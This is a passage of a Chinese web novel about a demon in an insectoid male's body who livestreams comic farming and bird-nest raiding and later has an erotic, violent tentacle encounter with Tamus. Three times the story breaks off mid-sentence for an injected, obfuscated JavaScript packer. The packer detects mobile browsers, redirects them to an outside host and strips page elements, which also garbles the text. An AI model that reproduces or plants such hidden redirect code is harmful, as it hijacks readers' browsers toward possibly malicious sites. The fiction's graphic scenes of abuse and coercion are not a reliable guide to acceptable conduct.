钙片还好,可以顺着水直接咽下去,可牛奶就不一样了,牛奶一入口,浓郁的苦味就快速蔓延至整个口腔,苦得塔慕斯蹙起眉头。 厄眠盯着窗外看了一整个上午,全程在想如何快速搞钱。 一学期的学费3万币,他要是帮塔慕斯搞到这么多钱,等日后某个黑心上司认出了他,他再趁机携恩图报使唤对方给自己端奶茶倒西瓜汁啥的……啧啧,想想就爽。 塔慕斯那货就是通过什么直播找到的他,在荒星时,每当他架锅煮恶灵,不远处的垃圾堆中似乎都有什么东西闪一下,那是用于直播的终端? 记得以卡提到过,他的直播间有不少观众打赏,总金额大概有四位数,可惜他不是那个直播账号的主人,里面的钱提不出来。 这里没有恶灵吃,那就直播点别的。 厄眠随便找了场直播观看了十多分钟,然后对着终端捣腾许久,用塔慕斯的身份ID注册了一个名为“负债1亿的小蛋糕”的账号,在院子里找个地方把终端固定好,开启直播,标题就俩字——种菜。 他丝毫不管有没有观众,下一秒就从镜头中消失,片刻后才拎着一个不知道装了啥东西的黑色塑料袋与一个锅铲从厨房出来,蹲到草坪旁用锅铲开始铲草松土。 塔慕斯窝在沙发的一角,透过客厅的落地窗淡漠地注视他,绚丽的夕阳倾斜着从天边打过来,将手中的营养液镀上一层暖红色的光。 雄保会今日送来3支营养液,雄虫分出一支给了他。 营养液是他从未尝过的东西,口感黏稠偏苦,不过比雄虫买的苦瓜味牛奶好喝多了,饱腹感很强,一支喝完就没了什么饿意。 负债1亿,以后入账的每一笔钱都会强制转移走用于偿还债务,每月仅留有3000币的生活费维持基本生活。 每一名雄虫都是在养尊处优的环境中长大,他们早已习惯了奢靡的生活。在每月仅有3000币的“贫困”条件下,希泽迩居然舍得一下子花出去数百币为他买钙片与牛奶? 塔慕斯脑海中忽地闪过一个荒诞的念头,而后快速把这个不切实际的念头抛开。 弥补、喜欢。 这两个词汇几乎不可能出现在那些蛮横残暴的雄虫身上。 他只是一只希泽迩因一时兴起而耐着性子逗弄的宠物猫,等逗弄腻了,希泽迩便会恢复本性,继续如之前那般残忍地虐待他。买牛奶与钙片不过是嫌弃他身材干瘪看着不顺眼而已,想将他的身材养的稍微性感有趣一些。 厄眠手持锅铲对着院子里的草不断捣腾,嫌锅铲用着不方便,直接撸起袖子用手去薅,一边薅草一边刨土。 直播间零零散散地进了几名观众,由于薅草刨土的画面太过无聊,刚进去的观众很快就退了出去,在线观看人数始终不超过5。 忙活许久,厄眠才薅出一平米左右的空地,无比想念本体的附肢。 每根附肢都有三处关节,活动灵敏得很,坚硬的尖端带有倒钩,最适合刨土不过了,种菜的效率肯定高。 此时,直播间的观众总共就两名,其中一名刚进来的观众看了眼主播的账户名,没啥印象,直播内容又是无聊的薅草,直接移动手指要退出界面。 厄眠起身挪动位置,转动了下有些僵硬的脖子,蹲到另一片草地前接着薅。 于是观众在关闭界面的前一秒,瞥见了主播那没有虫纹的光洁后颈。 雌虫后颈的虫纹是纯黑色,亚雌的虫纹颜色要淡上一些,所有雌虫都是拥有虫纹的,在虫族,后颈没有虫纹的只有雄虫。 这位主播会是尊贵的雄虫阁下吗? 观众点进主播的页面,个人信息处,除了“负债1亿的小蛋糕”这个用户名,没有任何其他信息,就连头像都是系统头像。 他快速把疑问发进评论区,于是直播间仅有的两名观众一块盯着主播的脖子研究起来。 厄眠上身穿的是件带领子的白色衬衫,有些长的头发又把后颈遮住了些,不主动面对镜头低下头就无法把后颈完整地显露出来。 直播使用的终端是塔慕斯的,终端用了七八年,配置较低,与最新版本的直播软件无法很好地兼容,录制的画面难免模糊,连厄眠的面容都糊出了重影。 评论区中对主播性别的探讨渐渐留住观众,观看人数终于突破两位数,十几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736223|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人全部聚精会神地盯着主播后颈那一块。 脚边的这块地清理出来,厄眠活动活动手臂,而后在观众无比期待的目光下把活动了两下的胳膊收回去,挪动腿蹲着向后移动一步继续薅草,脖子是一点儿都不带转的。 虫族的性别比例严重失调,数百名新生儿中才有那么一名雄虫,雄虫的数量极其稀少。每年都有无数雌虫因匹配不到雄虫,得不到精神疏导而死于精神崩溃。 即使常识告诉这些屏幕另一边的观众,就算真的负债1亿,矜贵的雄虫也不可能亲自在这儿直播种菜赚钱还债,毕竟除草施肥啥的多累啊,泥土又那么脏,娇贵的雄虫阁下哪做得来这些事? 可他们还是不愿意放过这个渺茫的机会,想赌一赌万一,万一这名主播是位雄虫,万一在直播间被雄虫阁下看中选为雌侍…… 直播间已经因为主播究竟是不是雄虫激烈地吵了起来,直播热度甚至因为“主播是雄虫”这个话题被吵高了不少。 大多数观众认为主播不是雄虫,毕竟画面中的主播双手粘黏满棕褐色的肮脏泥土,怎么可能会是矜贵高傲的雄虫阁下? 两方阵营吵累了,吃瓜群众看评论区吵架也看得有些乏了,想着来都来了,不如好好把直播看下去,于是终于将注意力放到“种菜”这件事上。 网友开始猜测主播要种的品种,并且在评论区对主播极为不专业的行为吐槽起来。 〔主播是头一回种菜?不知道事先查查攻略吗?怎么会有人用锅铲当锄头?还觉得除草就是把草尖给它掐掉就行了啊?(微笑.jpg)〕 〔小草:轻轻地,他拎着锅铲走来了,我担忧害怕惶恐不安,他深知我的忧虑,所以不将我那深深扎入泥土的根拔除,他直接掐了我的头。啊~谢谢他!让我的头随风飘去找寻自由!(/^o^)/〕 〔哈哈哈,楼上的小草视角,是要把我笑死然后继承我3万字的毕业论文吗?〕 〔就这水平也好意思直播种菜?垃圾,别霍霍这些菜种了。〕 〔你们猜这片地最后能有几颗菜活下来?不对,应该是猜菜能不能种出来。〕 〔别这样说主播,主播是会除草的!没看主播松土的时候那些无头小草全部都倒了吗?(狗头.jgp)〕 〔哈哈,直播翻车的见多了,可车一直倒着没立起来过的还是头一回见。〕 〔……好无语呀,头一回见这么没常识的。〕 〔你们这么说主播可是会自卑的!他其实还是有点常识,起码知道种菜要用到泥土呢~〕 〔这已经不是有没有常识的问题了,这是有没有脑子的问题!(愤怒.jpg)〕 〔笨蛋人设吧,看个乐子就好不必当真。〕 等清理出来足够的空地,天色已经完全暗下去,厄眠的手臂开始酸痛,双腿也蹲麻了,干脆直接坐地上休息。 这具身体又虚弱又不便利,种菜这费时费力的事他还真干不太来,下回得换个内容播。 休息片刻,终于到了播种环节。 观众想着播撒一些种子而已,再怎么样随手把种子往泥土里一洒,几天后总有那么几颗顽强的种子能够发芽,单单只看这一个播种环节总不得再翻车了吧? 于是在屏幕另一边的观众们无比期待的目光下,厄眠解开了黑色塑料袋,可却没有从袋子中掏出观众们预料的小菜苗或者菜种,而是从里面抓出了一把滴着水的绿色青菜,然后把新鲜的蔬菜直接往松软的泥土上一扔。 这就是播种。 短暂的懵逼过后,评论区立即被大量的问号刷屏。 13. 直播〔种菜2〕 观众愣神的那一会儿功夫,厄眠已经把第五颗滴着水珠的绿油油小青菜放入土中,为了防止风太大把菜吹出去,还贴心地把菜往土里压了压。 〔???〕 〔???〕 〔什么情况?我就分心回了朋友几条消息,这菜它就长出来了?主播在拿我们当猴耍吗?(微笑.jpg)〕 〔???薅草、松土,然后略过播种、浇水、施肥等等等等步骤,直接把买来的菜放土上,然后告诉我们这就叫种菜?主播这操作……绝了。〕 〔哈哈哈,差点给我笑岔气(大笑.jpg)〕 冰箱里仅有五颗前一天买的用来下面条的小青菜,不过还有一些黄瓜、土豆、番茄、芹菜啥的,厄眠把那些菜全部装进黑色塑料袋打包了过来。 然后这些菜全部被厄眠“种”进了地里。 〔前面的打脸了吧?谁说他霍霍种子的?哪来的种子?一颗种子都没有!谁说菜种不出来的?这不都是菜!一排排的摆得可整齐了!有小青菜、土豆、西红柿……应有尽有!〕 〔什么翻车?谁说主播种菜会翻车的?这我可就要跟他辩论辩论了,主播这车压根就没开起来过!(狗头.jpg)〕 〔他真的我哭死,每颗菜都滴着水,他居然贴心地把所有菜都洗了一遍。〕 〔不吃辣太辣送了1个大宝剑。〕 〔单身万年见狗都想草投了3个小地雷。〕 〔寂寞求1的鸡喔喔~送了2朵白玫瑰。〕 〔……〕 等把一大包菜全部在土壤上摆好,厄眠已经累得不行了,躺在草坪上歇了会儿,起身过去关直播。 直播结束,到手的金额有200多币。账号使用塔慕斯的身份ID注册,提出的钱当然也是转入塔慕斯的账户,只要钱不入厄眠的账户,就不会被自动转移出去用于还债。 厄眠洗干净手上的泥土,心情不错地拉着塔慕斯出门买小吃。 他手里留不住钱,但凡有一分钱都想着买吃的,照他那花钱的速度,在塔慕斯开学前肯定攒不够学费。可又期待看到未来的黑心上司在发现一切后,因为那3万币的学费而对他感恩戴德卑躬屈膝的模样,一定畅快极了。 所以一定要少吃,尽快给塔慕斯这小矮子攒够学费。 好在这具雄虫身体的饭量不算很大,厄眠出门前特意喝了一瓶营养液,在小吃街吃了两份小吃就撑得直打嗝,可还想尝一尝烤猪蹄子,买下猪蹄咬了一口尝尝味,把剩下的塞给塔慕斯。 塔慕斯道了谢,抱着大猪蹄鼓着腮帮子嗷呜嗷呜地啃。 “你以后就别想吃啥新鲜食物了,天天跟在哥屁股后面吃剩的。”厄眠得意地揉了揉他的脑袋,把整洁的头发揉得炸毛,“小矮子,听见没?” 塔慕斯的嘴唇上沾满油渍,抱着大猪蹄朝他点点头。 回到住处,厄眠已经没那么撑了,想起那瓶价值不菲的酒,立即拿出酒瓶喝起来,总之嘴就是不能闲太久。 两杯烈酒下肚,火热的灼烧感从喉咙一直蔓延至胃部,厄眠的意识模糊起来,温度过高的皮肤透出浅淡的红色。 很热,他将衬衫的扣子一颗颗扯开,侧着脸趴在餐桌上,半阖着微红的眼睛注视塔慕斯。 塔慕斯太安静了,一做完家务就窝在沙发上盯着外面的天空发呆,沉闷的跟以卡养的小乌龟似的,那小乌龟比他胖多了,脑袋与四肢都圆润润的,整天除了吃就是睡,动都不愿意动,一身的肉看着就好吃,要不是办公室里有监控,他早把以卡养的胖乌龟炫肚里了。 厄眠朝塔慕斯勾勾手指:“小矮子,过来。” 塔慕斯顺从地站到他身旁。 厄眠抬起手掌伸向他那颗毛茸茸的脑袋瓜子。 塔慕斯的脖子向下缩了缩,合上眼睛。 他畏惧希泽迩,更畏惧希泽迩醉酒。 他是酒吧中最呆板无趣的服务员,可希泽迩偏偏对虐待他起了兴趣,经常去他工作的那家酒吧,每次醉酒都要将他虐打出血,残忍的虐待一直持续到希泽迩在酒精的作用下昏睡过去才结束。 希泽迩醉酒了,又醉酒了。 塔慕斯的身体无法抑制地轻微颤抖着,预想中的巴掌却迟迟没有落到头上。 他不安地睁开眼睛,雄虫的手臂与他的面颊贴得很近,手掌正轻轻搭在他的脑袋上。 “蛋糕。”厄眠含含糊糊地叫他,慵懒的嗓音中携着浓重醉意,“我特记仇,谁欺负我我都得干回去,你不太一样……第一块蛋糕,你给的,我从没吃过那么好吃的东西,很好吃,嗯……塑料包装盒不好吃……” 掌心的汗水将塔慕斯的发丝弄得微微潮湿,酒精让厄眠没什么力气,手臂不受控制地向下滑,于是立即收拢手指揪住塔慕斯的头发,手才没有滑落下去。 “塔慕斯,你要是不欺负我就好了。” 话音落下,雄虫的手擦着脸颊滑下去,而后清浅的呼吸声便传入耳膜。 睡着了。 或许是这瓶酒的度数太高,让雄虫醉得不剩多少力气,所以这次难得没有打他。 塔慕斯紧绷的思绪缓和一些,叫了雄虫几声,雄虫睡得很熟,没有做出丝毫回应。 于是塔慕斯眼睛中的淡漠渐渐被憎恨与厌恶取代,动作机械地将雄虫抱回卧室。 * 白昼的光有些刺眼,厄眠眯着眼睛含含糊糊地望着窗外,而后猛地坐起身快速穿上鞋,踩着楼梯向下跑。 操,睡过头了,塔慕斯那货别又拿他的肉包子去喂大黄! “阁下,有什么急事吗?” 塔慕斯的声音换回厄眠迷糊的意识。 望着那道瘦弱的身影,厄眠松了口气。 还好,肉包子暂时没事。 “梦到以后的你把哥的肉包子喂狗了。”厄眠趴在楼梯扶手上,自上而下俯视他。 “不会的阁下,今天的早餐有煎包,肉馅的,您应该喜欢。”塔慕斯说,“今日份的3瓶营养液已经收到,我买了几瓶水果果酱,掺进营养液中应该能让味道变好一些。” 家里的食材在昨天就没剩多少了,塔慕斯似乎刚采购回来,餐桌上放着不少新鲜食材,还有一份热乎乎的煎包与香浓的豆浆。 “就一份?”厄眠蹙眉。 “抱歉,我现在去再买一份。”塔慕斯说。 “回来。”厄眠叫住他,“你的呢?” “我吃过了。”塔慕斯回答。 “过来。”厄眠朝他勾勾手指。 塔慕斯迈上楼梯,在比他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736224|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低一个台阶的位置停下。 厄眠撩开他的衣服,手掌放在腹部轻轻按压。 塔慕斯太瘦了,向下凹陷的腹部硬邦邦的,喂了好几天也没见喂胖一点儿。 “肚子都是扁,这就是你说的吃了?”厄眠抓起桌上的营养液塞给他,“别搞得跟虐待你似的,以后每天的3瓶营养液全部给哥乖乖喝光,每日三餐也陪哥一块吃,当然,是吃哥吃剩的,记住没小矮子?” 塔·小矮子·慕斯微微抬着脑袋看他,点头说:“记住了。” 厄眠这吃货炫饭的速度快得很,当塔慕斯还在鼓着腮帮子对着口中的小煎包啊呜啊呜地咀嚼时,厄眠已经在吃最后一个煎包了,看着空了的包装袋才反应过来,立即把手中仅剩下一小口的煎包塞进塔慕斯口中。 厄眠的心情在绝大多数时候都取决于食物的美味程度,煎包好吃得很,他的心情也就好得很。 他点开终端开启直播,准备去自己新开拓的小菜地里看看菜,接了桶水正要拎去院子里,突然被桌上的吐司面包吸引视线,放下水桶取出一片面包涂抹果酱。 昨日评论区围绕“主播是否为雄虫”这个问题展开激烈探讨,观看量直接被“雄虫主播”这个词拉高到1千多。刚开始仅有极小一部分观众因为那未知的性别关注了厄眠,后来厄眠那离谱的种菜操作直接让他收获了三位数的粉丝。 直播一开,系统自动向粉丝发送开播信息,待厄眠吃完面包拎着水桶走到门口,直播间已经陆陆续续进来二三十人。 厄眠瞥了眼右下角的观看人数,心情不错地说:“带你们看看哥昨天种的菜。” 镜头转到小菜地。 前天晚上还整整齐齐排列在泥土中的蔬菜,今天早上该萎缩的萎缩,该被鸟啃的被鸟啃。前一天刚从冰箱中拿出来时有多么的光鲜亮丽,在经过大风的一夜后就有多么衰败。 评论区活跃起来。 〔这小青菜都被吹得飞出菜地好几米远,瞧这叶子萎缩的,跟被压榨干净了精力的攻方似的。(没错,说的就是某些肾虚的1——来自一个刚闭上眼睛就被迫结束的承受方)〕 〔???本肾虚攻路过突然被踹了一脚?我们只是陌生人,劝你别太离谱(微笑.jpg)〕 〔虽然青菜飞了,可是西红柿没飞啊,可招小鸟喜欢啦~被亲吻出许多爱的洞洞呢~〕 〔西红柿汁染红了土豆,于是无辜的土豆便成了这场西红柿连环凶杀案的见证者。(狗头)〕 〔主播主播!别难受,包菜没事儿!包菜还是完好无损的!〕 厄眠当然也注意到了完好无缺的包菜,在观众的期待下快步走近,结果仔细一看,差点把18根触手气出来去掏鸟窝。 不对,他现在没触手。 包菜圆滚滚的看着怪精神的,结果背对着他的那面被鸟啄出一个巨大的洞! 〔这鸟还怪机智的,知道挑地方啃,当然我们主播掏鸟窝的方法也机智。(期待)〕 〔哈哈哈,包菜在用它自己独特的方式告诉没常识的主播啥叫“金玉其外败絮其中”〕 “蛋糕!”菜菜们的惨状让厄眠难过极了,转身冲屋里的塔慕斯喊道,“死了死了全死了!死完了!蛋糕,我们没有青菜西红柿鸡蛋面吃了!” 14. 直播〔掏鸟窝〕 塔慕斯站在厄眠身侧与他一块看那些菜,瞥见直播界面下方的“种菜”俩字,才忽地反应过来:“您是在种菜?” “看不出来?”厄眠反问。 塔慕斯沉默了。 薅个草挖挖土然后把冰箱里的菜放进土里,这就是种菜? 〔戴了抑制环,主播旁边的一定是雌虫,雌虫用“您”称呼主播,难道主播真的是雄虫阁下?〕 〔雄虫阁下不需要接受太多教育,只用享受雌虫的侍奉就行,不懂得如何种菜完全正常!越来越合理了,主播绝对是雄虫!\(^▽^)/〕 〔啊啊啊!不会吧不会吧!我何德何能,居然让尊贵的雄虫阁下种菜给我看!(激动.jpg)〕 “你以为我昨天在院子里倒腾那么久是在干嘛?”厄眠脸色沉下去。 “我认为……”塔慕斯抬头瞥了眼树上的大鸟窝,“您只是想用个特殊的方式喂鸟。” 厄眠:“……” 塔慕斯眨着眼睛,一脸诚恳地道歉:“很抱歉误会了您,您的种菜方法可能不太对,我现在去买些种子与肥料教您。” “不种了。”厄眠嫌弃地把失去水分的萎吧小青菜扔回土壤。 他们深渊那边可没有“菜”这种东西,主食就是恶灵,把活的恶灵绑好种在特定的土壤中,恶灵的身体会在土壤中慢慢膨胀变大,差不多半月左右,体积就能涨成原来的2~3倍。 对于这个位面的耕种步骤,厄眠只粗略了解了除草、松土、浇水这几个词。然后将两个位面的方式结合到一块,除好草松好土后就把活着的菜往泥土里一丢,等着半月后它们自己长大。 〔不要信不要信!主播只是在借着雄虫的名头蹭热度蹭流量,谁信谁傻逼!〕 〔已婚雌虫路过,比起主播的性别我更在意主播的账户名,所以真的欠债1亿吗?〕 〔心疼小青菜,当然也心疼主播的青菜鸡蛋面……难道主播和我一样是个吃货?(吃瓜.jpg)〕 〔雄虫欠债需要自己还?一眼假!信的都是一群精.虫上脑的欠*玩意!!〕 〔+1,拉黑了。〕 〔以为装成什么都不懂的样子就能把自己包装成雄虫蹭流量?说看见主播后颈没有虫纹的那位是托吧?要不就是主播贴了肉色贴纸盖住了虫纹。〕 〔账户连雄虫认证都没有,就在开头露一下没有虫纹的脖子引起话题,妥妥的故意误导蹭热度。〕 〔+1,散了都散了,与其在这儿浪费时间,不如在平台搜那些认证过雄虫身份的阁下。〕 〔爱看留下不看出去,没人逼你们留下。抛开别的不说,主播这操作我是真喜欢,有种傻缺的美感。〕 厄眠从厨房拿来锅铲,叼着锅铲动作利索地爬上树。 终端在上树前被厄眠取下扔进草坪,塔慕斯捡起终端,把镜头转向树上的大鸟窝。 麻雀身材圆润个头肥美,就是性格凶残得很,扑腾着翅膀张着嘴朝厄眠不停叫唤,凑过去正要用嘴啄他,突然就“pia~pang~”的一下被厄眠手中的锅铲给拍飞了,下落时还呈现出一条美味的抛物线。 “pia~pang~”第二只肥美的麻雀紧接着落下,支楞着两只脚倒在草坪中一动不动。 厄眠调整姿势,将手伸向鸟窝中的蛋蛋,拿起一颗朝下方的塔慕斯挥挥手:“蛋糕,接着。” 塔慕斯接住第一颗蛋,接着是第二颗、第三颗…… 〔???接下来不是因该吸取教训好好种菜吗?怎么突然跑去掏鸟窝了?〕 〔主播这上树打鸟掏鸟窝的手法也太熟练了,锅铲“啪叽”响那么一下~小鸟就嘎了。〕 〔这俩麻雀好胖,绝不是头一回吃主播家的菜。(狗头)〕 〔众所周知能量是守恒的,所以可以通过沃兹基硕德定律得到以下等式:鸟吃主播的菜+主播吃掉鸟=主播吃到了逝去菜。横批:鸟蛋是赠品。〕 鸟窝中的蛋足足有6颗,厄眠跃下树,拿着食物快步走向厨房,把2只麻雀与6颗蛋往水池中一放,然后就开始喊“蛋糕”。 塔慕斯耐心地去除麻雀的羽毛,熟练地把食材处理干净。 “蛋要煎的,鸟要吃烤的。”厄眠提出要求。 塔慕斯用签子把两只麻雀串起来,打开燃气,左手拿着签子在火上烤,右手打开另一台燃气灶,单手煎蛋。 这边煎着,厄眠在那边炫着,一边炫还一边眼巴巴地瞅着两只麻雀,小小的煎蛋每一个都是一口吞,不过还是忍着嘴馋给塔慕斯留下了两颗小蛋蛋。 〔好诱人,隔着屏幕都闻着香味了,这名雌虫的烹饪课一定是满分!〕 〔麻雀:美味吗?拿命和孩子换的(翻白眼微笑.jpg)〕 〔盘子里还留着两个,给厨子留的吗?〕 〔我无论如何都不可能相信一名高傲矜贵雄虫会与自己的雌君相处的如此融洽,所以主播一定不会是雄虫,呜哇哇哇……幻想破灭了。〕 〔雌雌恋也不错啊,香得咧~(^~^)〕 〔家人们,我掏鸟窝回来了!不过手法没主播熟练,没一锅铲把鸟拍嘎,它飞走了……走之前还他大爷的飞回来啄了老子一下!好不容易掏到的两颗蛋也碎了……〕 〔哈哈!快传下去,这个网名为“杯盖爱茶杯”的蛋碎了两颗!〕 〔蹭雄虫热度刻意营造的笨蛋人设而已,真以为能一直火下去?垃圾玩意!〕 〔……〕 塔慕斯差不多了解了厄眠的口味,知道对方几乎啥都吃,所以把所有调味料都撒了一遍。 “咔嚓”厄眠咬了一口烤得焦脆的翅尖,被烫得不停向外哈气,却又馋得压根就停不下来,三下两下炫完一只烤麻雀,而后抿着嘴看向塔慕斯手中的另一只。 塔慕斯把麻雀递给他,他嗷呜两口撕咬掉两只翅膀子,把没了翅膀的小丑麻雀塞回对方手中。 塔慕斯咬了口麻雀,朝他扬起一个笑:“好吃。” 厄眠咽下口中的肉,擦干净手指的油渍关闭直播。 塔慕斯又出门买了一次菜,晚饭厄眠如愿吃到了青菜西红柿鸡蛋面。睡前,他心情愉悦地把一只胳膊压在塔慕斯身上,放肆地呼吸着香甜的柠檬糖味信息素,脑海中忽地闪过白天的那个微笑。 这小矮子笑起来还怪好看的。 * 〔星元8140年,0918-L星,A区,灵异调查局。〕 回过神时,厄眠已经对上了塔慕斯冷冽的视线。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736225|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一刻在……与塔慕斯这具香甜的身体纠缠,用黏腻冰冷的触手与触角贪婪且变态地吸吮汗水与血液中蕴含的信息素。 这里是塔慕斯的卧室,卧室的门是他打开的,因为食物太过美味香甜,所以激动的触手不受控制地疯狂蠕动起来,可房间空间太小无法蠕动尽兴,便打开卧室的门,把触手触角伸到外面去。 享用得正开心,他忽然回到13年前,成为雄虫希泽迩。 好在意识离开这具身体前,厄眠已经把触手、藤蔓、触角、粘液啥的都收了回去,否则要是让塔慕斯知道他就是那只整夜整夜纠缠骚扰他的怪物……工资得被扣光。 厄眠感觉腿部略微发凉,低头向下看了眼。 裤子他烤鸭屁屁的没来得及提上! 他尽力无视塔慕斯那阴冷到可以杀人的眼神,快速在地板上搜寻到自己的裤子,捡起来就往腿上套。 塔慕斯突然伸手攥住他的裤子,声音冷淡:“解释解释?” “梦游。”厄眠语气真诚。 “梦游把锁撬开了?”塔慕斯瞥了眼打开的卧室门。 “什么撬锁?是你睡前忘了锁吧?自己被煞气影响的记忆错乱还非赖到哥身上。”厄眠试图从他手中扯过裤子,可这货劲还挺大的,怕一用力把裤子扯烂,到时候还得花钱买新的,得不偿失。 门锁的确没有破坏的痕迹,塔慕斯暂时放过这件事,指了指厄眠的腿,说:“我替你保守秘密,你总得付出相应的代价,一条触手。” 厄眠也不抢裤子了,双腿化成十多条带有吸盘的粉色触手,触手嗅到食物香甜的气息,立即争先恐后地伸过去在塔慕斯身上占领地盘。 他操控一条触手贴到对方嘴边:“给哥吃!这回来真的!吃不完肯定把你脑壳拧掉!” 嘴唇沾染上黏腻冰冷的液体,勾起塔慕斯一些不愉快的记忆。一次次恶心的幻觉中,他失去身体的掌控权,被数只畸形的、丑陋的、扭曲的怪物占据。 那些黏腻、冰冷、湿滑、柔软触感实在太过真实,令他数次怀疑那不是幻觉,而是真真实实发生在他身上。 那些恶心幻境令塔慕斯连同厄眠的这些与怪物相似的触手也一同厌恶起来。 他掏出一把锋利的匕首,将触手划开一道口子,黏稠的血液打湿地板。 “操,你他卤蛋球球的来真的!”厄眠气极了,直接把受伤的那根触手往他口中戳。 口腔撑开,嘴角甚至被撑得略微泛白,刀口足足有两三厘米深,血液浓稠的铁锈味迅速扩散至整个口腔,小部分血顺着喉咙向胃中流淌。 厄眠的动作太过出乎意料,塔慕斯大张着唇略带茫然地含着受伤的触手,片刻后才猛然反应过来,狠狠一口咬下去。 延伸入喉咙的柔软尖尖被疼痛刺激得蜷缩成一团,反而将喉管撑得更开,撑开的喉管挤压到呼吸管道,窒息感快速笼罩上来。 嘴角流出的血液沿着下巴滴落,塔慕斯神情阴冷,攥住触手向外扯。 吸盘正贪婪地汲取着香甜的信息素,紧紧地粘黏着口腔,扯了几下才与口腔分离,分离时甚至发出一道清脆的“啵~”声。 “啪嗒……”几缕银白色的丝线断开,温热透明的口水沿着塔慕斯被摩擦地水润的唇滴落。 15. 小慕斯,看镜头~ “恶灵弄的?”推开卧室门,以卡就看到这么个狼藉的情况。 茶几上的物品洒得满地都是,沙发被一整个掀飞,锋利的东西将抱枕划得稀烂,里面的棉花到处飞。 居家机器人正清理着地面的碎玻璃。 “下楼买饭,3份。”塔慕斯收拾着凌乱的卧室。 3份,4个人,那就是没有厄眠的。 “哦,没遭贼,是内斗。”以卡明白过来。 塔慕斯没回应。 “昨夜怎么那么吵,以为你们又在逮恶灵呢。”以卡望着厄眠那紧闭的房门,“这架势至少得几十个回合,看不出来他挺抗揍的,没事,您赢了就行。” 抗揍。 塔慕斯冷笑一声。 不仅抗揍还抗咬,昨晚怎么就没直接咬死他呢? 赢?赢个屁!昨夜那货打到一半突然跑了,本以为是认怂害怕了,结果跟上去一看,路过的小吃摊正低价处理卖不完的酒酿汤圆,1币1碗,跑去炫汤圆了! 单纯地炫汤圆他就不说什么了,那怪物全身上下就穿了条内裤,捧着碗汤圆站在大街上搁那吃。小吃摊摊主一脸的“我都懂”,对上他的视线时,还露出一口大白牙冲他扬起一个“友善”的笑,非常贴心地提醒了句“注意身体”。 脸丢尽了! * 厄眠当然猜到今早的肉包子没有自己的份,提前去街道的某个路口蹲守,果然遇见了上学途中给大黄投喂肉包子的蒲桑缇。 平时喂大黄都是塔慕斯与以卡轮着来,蒲桑缇的加入让厄眠抢到包子的概率大大提升。 动作飞速地跑过去,稳稳接住下落途中的肉包子一整个塞入口中。 吐着舌头正准备吃肉包子的大黄懵住,看到厄眠鼓起的腮帮子愣了足足5秒才反应过来,口中发出“呜呜”的声音,急得直蹦哒。 厄眠微微扬起嘴角,朝蒲桑缇露出一个略带嘚瑟的笑。 蒲桑缇:“……” 这谁?不认识。 * 病床上的雌虫身影干瘦皮肤惨白,双唇却如涂抹了鲜血般红艳,向内凹陷的脸颊之上浮现出淡淡的黑色纹路。 掀开蓝白条纹的病服,病服下的皮肤印着一张张狰狞可怖的人脸,每张人脸仅有鸡蛋般大小,眼球的位置向下凹陷出两个肉坑,鼻子处则向上凸起一颗畸形的肉球。 见到光,人脸蠕动着如鲜血般红艳的唇,发出许多道微弱且嘶哑的声音。 【呃……痛!痛!压到我了,快翻身,痛死了!】 【好饿,好久没吃东西了,想吃火锅。】 【加班加班又是加班!狗老板,加你皮燕子的班!】 【……】 病服合上,空气安静下去。 “少将,您一定要救救我雌父啊!我给你报酬,您要多少?多少我都愿意给您,只要您能救下我雌父!”弗艾格打开一个巨大的皮箱,皮箱中装满最大面额的绿色纸币,抓起一把纸币往塔慕斯手中塞。 “请您一定要收下!我雌父一生行善,向基金会捐过三千多万,资助过一千多名贫困学生,0918-L星上还有更多需要他帮助的雌虫,他不该被恶灵害死,求您救下他,您一定能救他对不对?” “情况比较棘手,我可以试试,但无法保证。”塔慕斯把纸币还回去,合上门之前留下句话,“听说贵公司的烟草品质不错。” * “不是我不帮你,局长特意强调,无论如何都不能再给你预支半分工资。”以卡拒绝厄眠的要求。 “一天天哪来那么多文件处理?”厄眠瞥了眼屏幕上密密麻麻的文字。 “兼职。”以卡抿了口杯中的黑咖啡。 “一个月多少?”厄眠问。 “一天50,日结,一天需要整理的文件在50份左右,你别想了,字都认不全。”以卡说。 “分我两份,工资发了给我转2币。”厄眠说。 “2币够做什么?”以卡瞥了他一眼。 “夜里有打折的酒酿汤圆,1币1份,老板答应我以后每晚下班都从外面这条街过一趟,2币正好够我吃两份。”厄眠回答。 “行,发你两份,你接收一下,我告诉你怎么整理。”以卡把文件转发过去。 沉默片刻,厄眠问:“怎么接收?” 以卡:“……你还是上一边凉快去吧,我每天给你1个币,算请你吃酒酿汤圆了。” 厄眠飞速打开终端的录音功能:“再说一遍,哥也不是用录音威胁你,就是怕你哪天忘了。” 以卡无语地把话又说了一遍,同时把1个币给他转过去。 